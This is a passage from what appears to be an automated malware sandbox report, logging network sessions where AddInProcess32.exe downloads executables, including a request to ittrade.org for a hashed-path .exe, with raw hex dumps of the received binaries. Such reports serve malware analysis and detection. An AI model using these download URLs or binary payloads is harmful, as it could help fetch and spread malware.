2024-03-11 02:30:56 UTC	16384	IN	Data Raw: 68 14 28 83 c2 b8 ed 04 89 65 c6 fa ff c1 80 e1 b0 89 55 d0 80 f9 20 74 10 25 35 f8 eb 1b e8 63 d2 f2 89 55 d4 59 7d a9 89 7d a5 41 ae ae ef 0e 98 76 45 88 8d 75 dc 02 56 9a 34 a3 fa 5d 02 36 c7 45 cc 00 05 53 40 ae 70 0d 55 f6 7e e9 85 03 82 95 55 56 e8 dd fd 63 e9 74 7d 8b 5d dc 81 fb 38 08 0f 85 31 f1 50 64 6a 57 58 45 cd 89 29 fe df 19 ca 8d 6a b8 89 f9 50 8b 7d d0 57 3e f5 ff ff ff e0 01 e8 83 c0 88 8b 55 d4 89 d1 29 f1 39 fa 8d 4c 0d 88 0f 44 c8 0f be 55 14 ae eb 4d d0 75 10 ea 88 50 ff 75 69 08 9d 58 9b 20 58 3a ed 33 f7 1c 87 33 14 1d 14 18 a5 ac ff ff 4f 54 03 95 91 56 8d 45 b9 89 c2 0f b6 40 ff 83 f8 2b 0f 84 01 ee 6f fa 1d fd 83 f8 2d 0f 84 f8 14 83 7d e0 02 0f 8c ec 09 46 4d b8 a6 3c 4e e4 07 7d b9 2b 8e 1b 02 18 b8 8d 55 ba 69 13 f5 ef fa 8f Data Ascii: h(eU t%5cUY}}AvEuV4]6ES@pU~UVct}]81PdjWXE)jP}W>U)9LDUMuPuiX X:33OTVE@+o-}FM<N}+Ui
2024-03-11 02:30:56 UTC	16384	IN	Data Raw: b3 16 b8 00 00 03 d0 23 d8 3b d8 75 1e 47 ba e1 6f c0 14 2e b9 23 c2 3b c2 75 0d 83 b2 ba 81 4d 1c 40 89 79 5d 04 c4 33 c0 c9 53 a7 af 6b 58 40 03 39 ba 0c 6b a6 33 71 53 b2 03 6d 22 70 64 6b c2 3f c3 ee bf 8b 44 24 10 89 6c 24 10 8d 03 2b e0 e0 97 10 31 82 81 e1 ff 45 fc 33 c5 50 89 65 e8 ff 75 f8 a4 4e 7f 40 c0 1b c0 8d 45 f0 64 25 c3 cc c2 dd f1 e9 ef 00 00 3b 79 10 75 01 c4 0f 5e 9d 81 ec 1c 81 0d 29 c9 c9 b7 38 5e 10 3c 84 5f f7 ff 5e 0c 89 15 00 05 5e 08 89 1d 05 04 b1 5e 00 72 de bd fb 7b fc 66 8c 18 28 66 8c 52 5e 1c 66 8c 20 5d f8 66 8c 77 c3 3f fe c0 f4 66 8c 9e f0 66 8c 2d 89 ec 9c 8f 14 f8 33 7d 78 5e 20 8b 45 19 5e 14 6d 5e 18 8d 45 76 ae 6f 0a 5b 5e 24 8b 85 e4 15 c5 5e 18 22 ea 23 ec 17 5d 1c 48 10 09 04 00 1e 00 4c fc 0f 5d 14 43 34 5d b9 Data Ascii: #;uGo.#;uM@y]3SkX@9k3qSm"pdk?D$l$+1E3PeuN@Ed%;yu^)8^<_^^^r{f(fR^f ]fw?ff-3}x^ E^m^Evo[^$^"#]HL]C4]
2024-03-11 02:30:56 UTC	16384	IN	Data Raw: 2d 75 05 83 cb 44 47 e2 ff 02 eb 05 83 fe 2b 75 09 0f b7 31 0e 0c c7 44 dc c0 57 da 3a e5 b8 10 ff 7a 43 40 5d 9d f8 3b c7 45 f4 6a 5d e4 d8 1b 1f c7 45 f0 f0 06 ec fa ab 86 e4 d8 1b fa ba c7 45 e4 70 64 c7 45 e0 e6 06 dc f0 c8 b1 37 74 d8 66 c5 c7 45 d4 70 06 d0 e6 b1 37 74 e4 cc f0 c8 66 bf c7 45 c4 70 06 23 c7 de d0 c0 66 71 c7 45 bc 70 06 b8 e6 b4 f7 d8 ef 91 f0 b0 66 0d 84 ac 70 06 a8 50 0e 0d 1e 39 72 ec a4 5a 06 a0 d0 9c da 98 20 0f c7 7e 8f fd 1b 94 2a 06 90 40 10 0d 8c 4a 06 88 e0 00 dc 63 bf 17 0d 84 ea 06 80 10 18 0d 11 50 ec 83 ef 1a 09 d4 df 70 d7 4a 1a ec 6a 30 5a 71 09 83 ff 10 0f 85 e2 10 dd 00 df 2d 66 3b f2 0f 82 af 66 3b b5 77 74 07 0d a6 73 ce c6 2b c2 96 7f 98 66 36 76 53 f0 3b f0 0f 83 0e 8b 55 f8 27 3e 30 fe c9 d8 3f 75 f4 72 db 8b Data Ascii: -uDG+u1DW:zC@];Ej]EEpdE7tfEp7tfEp#fqEpfpP9rZ ~*@JcPpJj0Zq-f;f;wts+f6vS;U'>0?ur
2024-03-11 02:30:56 UTC	16384	IN	Data Raw: 0f b7 8d 32 25 19 8f a4 fb 01 83 f9 74 75 2a 16 34 66 75 fb 4d 50 f1 13 66 39 95 9b 75 0a 66 83 bd 38 1f 8b 88 9f bb 00 74 29 09 12 2d 0f be c0 99 fe dc 20 17 0f 85 d6 b9 1a 08 0c 99 aa b3 e8 ec 0a a2 03 9a b8 ef eb 0d 06 b2 bb 20 19 c0 f9 37 59 f8 10 27 b8 20 e8 c7 85 d1 6d 8d e3 ff 14 08 6a f9 e0 33 c0 66 39 06 74 24 b8 7c 86 c7 ff f1 39 85 88 73 17 57 56 50 ff b5 4e 23 aa 19 ef 0e 57 5e 75 55 eb 0b 62 4f 72 01 fc 37 8b 85 3b 11 53 ff 83 e4 3e fd 75 10 8b 00 ff b5 5a 89 01 32 35 75 1d 7c 12 fe 22 eb 04 33 c0 8b d8 d7 f9 b0 8b c3 02 5f 98 26 23 88 5e a9 33 41 91 72 e0 1c e4 34 e2 c0 9b f5 ff ff 53 33 db 56 8b f3 39 5d 10 7e 22 57 8d 7d 10 8d 7f 04 ff 37 50 24 26 fe 8f b1 a1 fd 6d 75 0b 46 3b 75 10 7c e3 5f 5e 25 74 58 47 47 e1 53 6a 02 40 56 f8 8f 25 db Data Ascii: 2%tu*4fuMPf9uf8t)- 7Y' mj3f9t$\|9sWVPN#W^uUbOr7;S>uZ25u\|"3_&#^3Ar4S3V9]~"W}7P$&muF;u\|_^%tXGGSj@V%
2024-03-11 02:30:56 UTC	16384	IN	Data Raw: 55 d8 8b 14 c2 44 eb 09 41 89 4d d4 3b 4e 0c 72 b8 7b 82 fb c0 52 56 6a 00 61 48 33 db 9e 21 5d fc 10 45 83 60 05 b6 c7 7f 25 bc 8b 7f 9c 4f a1 8b c3 ab 08 8b 5d e4 8b c0 0d ee 0d 36 4d 0c 89 41 f2 2b 01 1f d5 0e e1 07 07 0d 13 c8 89 48 1e c4 e6 49 01 61 d9 4b 83 77 67 44 c1 45 81 a5 12 08 21 05 93 1d fd 9b e6 19 74 09 22 75 2a 83 7d c0 00 75 24 5b 20 fc 8e 1b 0c 8b 3a 1c 60 59 f6 13 83 7d bc 00 0f f5 dd 58 14 09 56 15 1b ba 59 59 c3 ac 22 78 70 a8 f8 00 db 61 45 c1 ff 36 83 78 10 03 75 30 81 57 ff 06 ea 1f 15 83 78 1c 00 75 da 4c 31 33 c9 41 89 48 20 67 08 70 14 99 c4 49 43 fd 40 40 83 77 75 0c 57 c7 2f fe 86 0a af 8b 3e 33 db 85 ff 7e 36 ca f1 bf e1 8b d3 89 17 40 1c 89 45 ec 8b 40 0c 8b 08 60 80 4d 86 fe bd 45 e4 8b 09 31 f4 89 30 98 fa bb 54 7e 38 8b Data Ascii: UDAM;Nr{RVjaH3!]E`%O]6MA+HIaKwgDE!t"u*}u$[ :`Y}XVYY"xpaE6xu0WxuL13AH gpIC@@wuW/>3~6@E@`ME10T~8
2024-03-11 02:30:56 UTC	16384	IN	Data Raw: a9 a0 1c 54 0d d2 0b fe dd ee 83 c1 04 14 75 de 55 ff 83 cf 01 85 ff 75 1e 47 54 7f e8 bf fc 50 68 0b 00 00 20 eb 25 b2 f8 03 7d 05 f6 9f 23 78 b5 3b 6e 0f bf 59 eb f3 26 4c b8 a8 08 b9 62 8f 35 2c 2a 15 d5 c9 eb d4 61 45 34 02 6f 83 53 1b e8 90 8b 60 89 af 09 50 ee df 23 80 6a 94 29 74 16 6a 09 13 38 04 34 14 8d 02 5e d1 48 11 1c 27 c1 4d 1d c5 96 04 30 4c 1b 33 0a de 55 d5 d2 85 5d c0 5d c3 0f ee 77 ff 23 af 66 83 f8 41 72 06 05 5a 76 09 83 c0 9f 08 25 2c 18 ff 19 77 03 42 eb e2 8b c2 b6 80 00 f4 18 d0 a6 53 d8 08 57 89 ff 7f 15 d4 f0 02 c7 8d 7d f0 89 45 ec 33 c0 ab ab ab 14 fc 86 0c c9 f0 4d f0 33 d2 89 88 88 fa 27 76 a6 8d 8e d4 8b 45 ec 89 30 8e a2 8e 9a e5 0f 9b 1f 3f f7 a1 86 ff 1a a1 00 04 9e 94 57 48 50 70 9d 22 b4 8b 24 88 a8 9d 01 73 38 55 f0 Data Ascii: TuUuGTPh %}#x;nY&Lb5,*aE4oS`P#j)tj84^H'M0L3U]]w#fArZv%,wBSW}E3M3'vE0?WHPp"$s8U
2024-03-11 02:30:56 UTC	16384	IN	Data Raw: c1 23 c8 fd df 1f f6 49 23 cb 5b 24 44 c2 5f c9 c3 76 85 d2 74 39 33 c0 f7 ee 3f 52 44 c1 15 0f b6 0f 3b ca 0f 44 46 ff 5d f7 ec 74 20 47 14 75 eb 92 c2 4f 66 0f 3a 63 47 f0 40 8d 4c ba 0d ed fe 39 f0 0f 42 c1 75 ed 40 b8 f0 18 23 c7 93 c0 ef ee 06 eb 8f 00 af ba 14 ff d3 e2 7c f8 23 fa 75 77 f1 7e b0 14 1d 40 10 83 c0 10 13 42 ec 0f bc ff 3b 0a e8 d7 03 c2 9d 08 33 c0 83 c9 ff f2 ae 83 c1 88 77 6f e0 01 f7 d9 c2 8a 45 0c fd 0d c7 01 38 07 60 0c f7 af e7 02 8b c7 fc 68 8e 51 74 65 e2 86 79 08 33 c9 99 b3 20 c9 58 bc 5d 0e 50 51 00 ce 70 1b fa 1b 60 d9 13 d9 53 39 4d 0c 76 e4 10 8b bb fa ff ff c2 88 0f 85 d2 7f 02 8b c1 40 39 45 0c 77 04 6a 22 eb 09 8b 5d 99 75 1f 32 bc 8f fd 6a 16 8b 45 20 5e 45 89 70 18 51 48 a9 fe ff ff b3 75 c6 eb 7f 8b 43 08 8d 77 01 Data Ascii: #I#[$D_vt93?RD;DF]t GuOf:cG@L9Bu@#\|#uw~@B;3woE8`hQtey3 X]PQp`S9Mv@9Ewj"]u2jE ^EpQHuCw
2024-03-11 02:30:56 UTC	16384	IN	Data Raw: 89 d7 29 c7 89 f1 57 8b 03 69 cc 05 40 0d be 5f da 2c 50 d0 39 97 08 7f 2f 4d a6 fe ff 1d d9 31 c0 eb 1a c1 e0 04 0f be 32 01 c6 89 f7 81 e7 d3 0c 70 ff ff f0 89 f8 c1 e8 18 09 f8 31 f0 42 39 ca 75 e2 5e 3e 46 98 cb cd 5c 39 02 3f 3f bf ff ff bb 37 45 46 c2 23 39 c2 74 15 0f b7 1a 0f b7 0f 66 39 cb 72 0a 77 0d 75 ff 76 ff 83 c2 02 83 c7 02 eb e3 d5 eb 0f b1 0a 39 c2 b8 60 00 cb 76 c9 96 c7 4f 8f 75 08 bf a4 f8 7e d8 d1 ff c1 68 cc 89 f0 82 0c b0 3c 87 39 b7 7f 2f bf 1c b7 ec 75 6e 80 80 c1 e0 3e c1 30 ea ce 25 3f bf 83 ec 38 ef d0 87 00 07 e6 30 81 8b 5d 0c 50 40 ff 23 24 8b 4d 14 f6 41 04 01 0f 84 e0 a6 a2 d8 bc 8d 75 93 00 f9 fc 27 dd 04 93 d6 76 05 6e c0 71 45 a8 7f f7 ff c0 8b 75 cc 81 fe 00 05 6e 08 74 24 f8 f0 0f c1 46 04 85 c0 75 c1 8a 97 fb ef 04 Data Ascii: )Wi@_,P9/M12p1B9u^>F\9??7EF#9tf9rwuv9`vOu~h<9/un>0%?80]P@#$MAu'vnqEunt$Fu
2024-03-11 02:30:56 UTC	16384	IN	Data Raw: c6 3e 2c c6 10 bc 77 80 7d 97 10 8c 42 21 40 43 31 e3 00 41 20 e9 53 88 01 80 25 c0 53 a6 88 00 37 b5 00 66 3a 8b 7d b8 55 87 00 21 09 6d 55 66 09 f4 08 f0 39 45 e0 0f 56 04 05 ab f7 5c 18 0e 8e 32 33 08 97 35 16 b1 82 ff 0f 45 90 c5 90 00 0f 3c 7f 20 16 a9 b0 f5 2e 22 18 50 12 4f 34 05 29 b6 c8 6f 34 8a 0a 0c 38 88 06 df 97 2e 08 97 a4 d6 0f d4 2e 0a 7e 07 d9 80 78 0b 00 78 15 86 29 a8 e9 ab 4e fe 00 15 06 8a b1 2a 30 f0 14 00 04 1a 0a 1b 16 fb 00 e9 9c eb eb 47 04 3f 7c 55 00 19 ee 7f 20 97 00 35 02 dc c7 b9 e5 fe 47 46 01 b7 4d e0 c7 01 00 04 da 24 08 55 75 e0 25 b0 00 b4 ff 55 84 a8 4c bc 79 08 8b 5d d4 41 f5 7f 53 6a 85 f6 75 30 39 df 74 0f ff 71 08 df fd 51 dc 95 01 e3 36 c2 8b 71 10 19 2b e8 11 03 67 15 c1 43 82 0c 67 83 c4 7d e0 43 f4 00 c3 d6 6e Data Ascii: >,w}B!@C1A S%S7f:}U!mUf9EV\235E< ."PO4)o48..~xx)N*0G?\|U 5GFM$Uu%ULy]ASju09tqQ6q+gCg}Cn

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	55581	107.167.110.211	443	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 02:30:55 UTC	135	OUT	GET /opera/stable/windows/?utm_medium=apb&utm_source=mkt&utm_campaign=767 HTTP/1.1 Host: net.geo.opera.com Connection: Keep-Alive
2024-03-11 02:30:56 UTC	322	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 11 Mar 2024 02:30:55 GMT Content-Type: application/octet-stream Transfer-Encoding: chunked Connection: close Content-Disposition: attachment; filename=OperaSetup.exe ETag: "6b0b042dd7fc05b282c63d2958ab7d0c" Strict-Transport-Security: max-age=31536000; includeSubDomains
2024-03-11 02:30:56 UTC	16062	IN	Data Raw: 31 61 34 64 0d 0a 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 03 00 fd 65 e5 65 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 80 2c 00 00 90 00 00 00 60 26 00 40 ea 52 00 00 70 26 00 00 f0 52 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 80 53 00 00 02 00 00 13 e6 2d 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 d4 Data Ascii: 1a4dMZx@x!L!This program cannot be run in DOS mode.$PELee",`&@Rp&R@S-@
2024-03-11 02:30:56 UTC	16384	IN	Data Raw: ed 04 89 65 c6 fa ff c1 80 e1 b0 89 55 d0 80 f9 20 74 10 25 35 f8 eb 1b e8 63 d2 f2 89 55 d4 59 7d a9 89 7d a5 41 ae ae ef 0e 98 76 45 88 8d 75 dc 02 56 9a 34 a3 fa 5d 02 36 c7 45 cc 00 05 53 40 ae 70 0d 55 f6 7e e9 85 03 82 95 55 56 e8 dd fd 63 e9 74 7d 8b 5d dc 81 fb 38 08 0f 85 31 f1 50 64 6a 57 58 45 cd 89 29 fe df 19 ca 8d 6a b8 89 f9 50 8b 7d d0 57 3e f5 ff ff ff e0 01 e8 83 c0 88 8b 55 d4 89 d1 29 f1 39 fa 8d 4c 0d 88 0f 44 c8 0f be 55 14 ae eb 4d d0 75 10 ea 88 50 ff 75 69 08 9d 58 9b 20 58 3a ed 33 f7 1c 87 33 14 1d 14 18 a5 ac ff ff 4f 54 03 95 91 56 8d 45 b9 89 c2 0f b6 40 ff 83 f8 2b 0f 84 01 ee 6f fa 1d fd 83 f8 2d 0f 84 f8 14 83 7d e0 02 0f 8c ec 09 46 4d b8 a6 3c 4e e4 07 7d b9 2b 8e 1b 02 18 b8 8d 55 ba 69 13 f5 ef fa 8f c5 89 75 d8 b4 8d Data Ascii: eU t%5cUY}}AvEuV4]6ES@pU~UVct}]81PdjWXE)jP}W>U)9LDUMuPuiX X:33OTVE@+o-}FM<N}+Uiu
2024-03-11 02:30:56 UTC	16384	IN	Data Raw: 74 3b 83 c8 20 16 d0 fd 7f 66 b3 16 b8 00 00 03 d0 23 d8 3b d8 75 1e 47 ba e1 6f c0 14 2e b9 23 c2 3b c2 75 0d 83 b2 ba 81 4d 1c 40 89 79 5d 04 c4 33 c0 c9 53 a7 af 6b 58 40 03 39 ba 0c 6b a6 33 71 53 b2 03 6d 22 70 64 6b c2 3f c3 ee bf 8b 44 24 10 89 6c 24 10 8d 03 2b e0 e0 97 10 31 82 81 e1 ff 45 fc 33 c5 50 89 65 e8 ff 75 f8 a4 4e 7f 40 c0 1b c0 8d 45 f0 64 25 c3 cc c2 dd f1 e9 ef 00 00 3b 79 10 75 01 c4 0f 5e 9d 81 ec 1c 81 0d 29 c9 c9 b7 38 5e 10 3c 84 5f f7 ff 5e 0c 89 15 00 05 5e 08 89 1d 05 04 b1 5e 00 72 de bd fb 7b fc 66 8c 18 28 66 8c 52 5e 1c 66 8c 20 5d f8 66 8c 77 c3 3f fe c0 f4 66 8c 9e f0 66 8c 2d 89 ec 9c 8f 14 f8 33 7d 78 5e 20 8b 45 19 5e 14 6d 5e 18 8d 45 76 ae 6f 0a 5b 5e 24 8b 85 e4 15 c5 5e 18 22 ea 23 ec 17 5d 1c 48 10 09 04 00 1e Data Ascii: t; f#;uGo.#;uM@y]3SkX@9k3qSm"pdk?D$l$+1E3PeuN@Ed%;yu^)8^<_^^^r{f(fR^f ]fw?ff-3}x^ E^m^Evo[^$^"#]H
2024-03-11 02:30:56 UTC	16384	IN	Data Raw: 09 26 ff 0e fe ff 0f b6 5d 18 89 85 70 ff ff ff 0f b7 30 8d 48 f6 0c 83 fe 2d 75 05 83 cb 44 47 e2 ff 02 eb 05 83 fe 2b 75 09 0f b7 31 0e 0c c7 44 dc c0 57 da 3a e5 b8 10 ff 7a 43 40 5d 9d f8 3b c7 45 f4 6a 5d e4 d8 1b 1f c7 45 f0 f0 06 ec fa ab 86 e4 d8 1b fa ba c7 45 e4 70 64 c7 45 e0 e6 06 dc f0 c8 b1 37 74 d8 66 c5 c7 45 d4 70 06 d0 e6 b1 37 74 e4 cc f0 c8 66 bf c7 45 c4 70 06 23 c7 de d0 c0 66 71 c7 45 bc 70 06 b8 e6 b4 f7 d8 ef 91 f0 b0 66 0d 84 ac 70 06 a8 50 0e 0d 1e 39 72 ec a4 5a 06 a0 d0 9c da 98 20 0f c7 7e 8f fd 1b 94 2a 06 90 40 10 0d 8c 4a 06 88 e0 00 dc 63 bf 17 0d 84 ea 06 80 10 18 0d 11 50 ec 83 ef 1a 09 d4 df 70 d7 4a 1a ec 6a 30 5a 71 09 83 ff 10 0f 85 e2 10 dd 00 df 2d 66 3b f2 0f 82 af 66 3b b5 77 74 07 0d a6 73 ce c6 2b c2 96 7f 98 Data Ascii: &]p0H-uDG+u1DW:zC@];Ej]EEpdE7tfEp7tfEp#fqEpfpP9rZ ~*@JcPpJj0Zq-f;f;wts+
2024-03-11 02:30:56 UTC	16384	IN	Data Raw: 8b 85 30 a6 4b f4 df 04 c1 dc 0f b7 c8 8d 41 bf 83 f8 19 73 ff df 41 49 20 6a 38 5a 83 f9 75 75 41 0f b7 8d 32 25 19 8f a4 fb 01 83 f9 74 75 2a 16 34 66 75 fb 4d 50 f1 13 66 39 95 9b 75 0a 66 83 bd 38 1f 8b 88 9f bb 00 74 29 09 12 2d 0f be c0 99 fe dc 20 17 0f 85 d6 b9 1a 08 0c 99 aa b3 e8 ec 0a a2 03 9a b8 ef eb 0d 06 b2 bb 20 19 c0 f9 37 59 f8 10 27 b8 20 e8 c7 85 d1 6d 8d e3 ff 14 08 6a f9 e0 33 c0 66 39 06 74 24 b8 7c 86 c7 ff f1 39 85 88 73 17 57 56 50 ff b5 4e 23 aa 19 ef 0e 57 5e 75 55 eb 0b 62 4f 72 01 fc 37 8b 85 3b 11 53 ff 83 e4 3e fd 75 10 8b 00 ff b5 5a 89 01 32 35 75 1d 7c 12 fe 22 eb 04 33 c0 8b d8 d7 f9 b0 8b c3 02 5f 98 26 23 88 5e a9 33 41 91 72 e0 1c e4 34 e2 c0 9b f5 ff ff 53 33 db 56 8b f3 39 5d 10 7e 22 57 8d 7d 10 8d 7f 04 ff 37 50 Data Ascii: 0KAsAI j8ZuuA2%tu*4fuMPf9uf8t)- 7Y' mj3f9t$\|9sWVPN#W^uUbOr7;S>uZ25u\|"3_&#^3Ar4S3V9]~"W}7P
2024-03-11 02:30:57 UTC	16384	IN	Data Raw: 40 6b c1 14 8b 5e 10 3b 54 18 04 2a ff db fd 6f 7e 28 0e 75 dc 3b 54 30 08 46 7f 19 0e 4e 10 8b 44 08 04 ff bb 6f a2 40 2b 55 d8 8b 14 c2 44 eb 09 41 89 4d d4 3b 4e 0c 72 b8 7b 82 fb c0 52 56 6a 00 61 48 33 db 9e 21 5d fc 10 45 83 60 05 b6 c7 7f 25 bc 8b 7f 9c 4f a1 8b c3 ab 08 8b 5d e4 8b c0 0d ee 0d 36 4d 0c 89 41 f2 2b 01 1f d5 0e e1 07 07 0d 13 c8 89 48 1e c4 e6 49 01 61 d9 4b 83 77 67 44 c1 45 81 a5 12 08 21 05 93 1d fd 9b e6 19 74 09 22 75 2a 83 7d c0 00 75 24 5b 20 fc 8e 1b 0c 8b 3a 1c 60 59 f6 13 83 7d bc 00 0f f5 dd 58 14 09 56 15 1b ba 59 59 c3 ac 22 78 70 a8 f8 00 db 61 45 c1 ff 36 83 78 10 03 75 30 81 57 ff 06 ea 1f 15 83 78 1c 00 75 da 4c 31 33 c9 41 89 48 20 67 08 70 14 99 c4 49 43 fd 40 40 83 77 75 0c 57 c7 2f fe 86 0a af 8b 3e 33 db 85 ff Data Ascii: @k^;To~(u;T0FNDo@+UDAM;Nr{RVjaH3!]E`%O]6MA+HIaKwgDE!t"u}u$[ :`Y}XVYY"xpaE6xu0WxuL13AH gpIC@@wuW/>3
2024-03-11 02:30:57 UTC	16384	IN	Data Raw: fc 8b c7 31 78 08 04 6f 74 7d 16 d7 41 2c 03 fd 2f e4 5a 10 df 61 26 a0 0f 10 49 57 24 a6 9e 11 d0 8b c6 27 1c 66 4b 06 0e a9 a0 1c 54 0d d2 0b fe dd ee 83 c1 04 14 75 de 55 ff 83 cf 01 85 ff 75 1e 47 54 7f e8 bf fc 50 68 0b 00 00 20 eb 25 b2 f8 03 7d 05 f6 9f 23 78 b5 3b 6e 0f bf 59 eb f3 26 4c b8 a8 08 b9 62 8f 35 2c 2a 15 d5 c9 eb d4 61 45 34 02 6f 83 53 1b e8 90 8b 60 89 af 09 50 ee df 23 80 6a 94 29 74 16 6a 09 13 38 04 34 14 8d 02 5e d1 48 11 1c 27 c1 4d 1d c5 96 04 30 4c 1b 33 0a de 55 d5 d2 85 5d c0 5d c3 0f ee 77 ff 23 af 66 83 f8 41 72 06 05 5a 76 09 83 c0 9f 08 25 2c 18 ff 19 77 03 42 eb e2 8b c2 b6 80 00 f4 18 d0 a6 53 d8 08 57 89 ff 7f 15 d4 f0 02 c7 8d 7d f0 89 45 ec 33 c0 ab ab ab 14 fc 86 0c c9 f0 4d f0 33 d2 89 88 88 fa 27 76 a6 8d 8e d4 Data Ascii: 1xot}A,/Za&IW$'fKTuUuGTPh %}#x;nY&Lb5,*aE4oS`P#j)tj84^H'M0L3U]]w#fArZv%,wBSW}E3M3'v
2024-03-11 02:30:57 UTC	16384	IN	Data Raw: 66 0f d7 ca 23 c8 75 18 07 c9 23 c8 0f bd c1 03 ff 77 ff fb c7 85 c9 0f 45 da 83 c7 10 eb d0 53 18 d9 23 d8 d1 e1 33 c0 2b c1 23 c8 fd df 1f f6 49 23 cb 5b 24 44 c2 5f c9 c3 76 85 d2 74 39 33 c0 f7 ee 3f 52 44 c1 15 0f b6 0f 3b ca 0f 44 46 ff 5d f7 ec 74 20 47 14 75 eb 92 c2 4f 66 0f 3a 63 47 f0 40 8d 4c ba 0d ed fe 39 f0 0f 42 c1 75 ed 40 b8 f0 18 23 c7 93 c0 ef ee 06 eb 8f 00 af ba 14 ff d3 e2 7c f8 23 fa 75 77 f1 7e b0 14 1d 40 10 83 c0 10 13 42 ec 0f bc ff 3b 0a e8 d7 03 c2 9d 08 33 c0 83 c9 ff f2 ae 83 c1 88 77 6f e0 01 f7 d9 c2 8a 45 0c fd 0d c7 01 38 07 60 0c f7 af e7 02 8b c7 fc 68 8e 51 74 65 e2 86 79 08 33 c9 99 b3 20 c9 58 bc 5d 0e 50 51 00 ce 70 1b fa 1b 60 d9 13 d9 53 39 4d 0c 76 e4 10 8b bb fa ff ff c2 88 0f 85 d2 7f 02 8b c1 40 39 45 0c 77 Data Ascii: f#u#wES#3+#I#[$D_vt93?RD;DF]t GuOf:cG@L9Bu@#\|#uw~@B;3woE8`hQtey3 X]PQp`S9Mv@9Ew
2024-03-11 02:30:57 UTC	16384	IN	Data Raw: 42 47 39 f7 75 eb 89 da 31 c0 18 0c fb 47 b8 0f 95 c0 61 10 00 31 c0 40 eb f4 4e ae 70 01 0f 3f 57 31 26 b1 23 82 ff 55 10 89 d7 29 c7 89 f1 57 8b 03 69 cc 05 40 0d be 5f da 2c 50 d0 39 97 08 7f 2f 4d a6 fe ff 1d d9 31 c0 eb 1a c1 e0 04 0f be 32 01 c6 89 f7 81 e7 d3 0c 70 ff ff f0 89 f8 c1 e8 18 09 f8 31 f0 42 39 ca 75 e2 5e 3e 46 98 cb cd 5c 39 02 3f 3f bf ff ff bb 37 45 46 c2 23 39 c2 74 15 0f b7 1a 0f b7 0f 66 39 cb 72 0a 77 0d 75 ff 76 ff 83 c2 02 83 c7 02 eb e3 d5 eb 0f b1 0a 39 c2 b8 60 00 cb 76 c9 96 c7 4f 8f 75 08 bf a4 f8 7e d8 d1 ff c1 68 cc 89 f0 82 0c b0 3c 87 39 b7 7f 2f bf 1c b7 ec 75 6e 80 80 c1 e0 3e c1 30 ea ce 25 3f bf 83 ec 38 ef d0 87 00 07 e6 30 81 8b 5d 0c 50 40 ff 23 24 8b 4d 14 f6 41 04 01 0f 84 e0 a6 a2 d8 bc 8d 75 93 00 f9 fc 27 Data Ascii: BG9u1Ga1@Np?W1&#U)Wi@_,P9/M12p1B9u^>F\9??7EF#9tf9rwuv9`vOu~h<9/un>0%?80]P@#$MAu'
2024-03-11 02:30:57 UTC	16384	IN	Data Raw: 8e 40 fe 5f 58 8b ac 8b 75 a8 8b 7d b0 89 7d d4 0c 16 13 60 e0 53 8b b0 b1 f8 b2 72 fc 69 80 7d d3 7a 06 0b 57 04 a6 7a c7 c6 3e 2c c6 10 bc 77 80 7d 97 10 8c 42 21 40 43 31 e3 00 41 20 e9 53 88 01 80 25 c0 53 a6 88 00 37 b5 00 66 3a 8b 7d b8 55 87 00 21 09 6d 55 66 09 f4 08 f0 39 45 e0 0f 56 04 05 ab f7 5c 18 0e 8e 32 33 08 97 35 16 b1 82 ff 0f 45 90 c5 90 00 0f 3c 7f 20 16 a9 b0 f5 2e 22 18 50 12 4f 34 05 29 b6 c8 6f 34 8a 0a 0c 38 88 06 df 97 2e 08 97 a4 d6 0f d4 2e 0a 7e 07 d9 80 78 0b 00 78 15 86 29 a8 e9 ab 4e fe 00 15 06 8a b1 2a 30 f0 14 00 04 1a 0a 1b 16 fb 00 e9 9c eb eb 47 04 3f 7c 55 00 19 ee 7f 20 97 00 35 02 dc c7 b9 e5 fe 47 46 01 b7 4d e0 c7 01 00 04 da 24 08 55 75 e0 25 b0 00 b4 ff 55 84 a8 4c bc 79 08 8b 5d d4 41 f5 7f 53 6a 85 f6 75 30 Data Ascii: @_Xu}}`Sri}zWz>,w}B!@C1A S%S7f:}U!mUf9EV\235E< ."PO4)o48..~xx)N*0G?\|U 5GFM$Uu%ULy]ASju0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	55584	172.67.177.133	443	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 02:30:55 UTC	130	OUT	GET /26b626fea29015a9f24e07a08fa011e4/6779d89b7a368f4f3f340b50a9d18d71.exe HTTP/1.1 Host: ittrade.org Connection: Keep-Alive
2024-03-11 02:30:56 UTC	673	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:56 GMT Content-Type: application/x-ms-dos-executable Content-Length: 4283768 Connection: close Last-Modified: Sun, 10 Mar 2024 22:52:57 GMT Cache-Control: max-age=14400 CF-Cache-Status: MISS Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=R5AtUpGWLPlZjJi9evFtiY6GAs83k16yzGD8wVS85IM%2BxJ778oqtBoYWDCYwNlvZ%2BJUQSeHA7sRYTNYLfkrMY9ODgGEdLUM9%2BtYXMMgilgmyItjRDf8e%2BnSZJY404A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86282017aca90adb-LAS alt-svc: h3=":443"; 